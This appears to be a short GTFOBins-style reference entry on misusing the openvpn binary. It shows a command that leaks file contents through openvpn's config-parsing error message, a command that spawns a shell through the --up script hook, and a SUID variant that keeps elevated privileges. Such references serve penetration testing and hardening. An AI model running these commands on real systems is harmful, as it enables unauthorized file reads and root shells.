openvpn

File Read

The file is actually parsed and the first partial wrong line is returned in an error message.

openvpn --config /path/to/input-file

Shell

openvpn --dev null --script-security 2 --up '/bin/sh -s'

SUID override:

openvpn --dev null --script-security 2 --up '/bin/sh -p -s'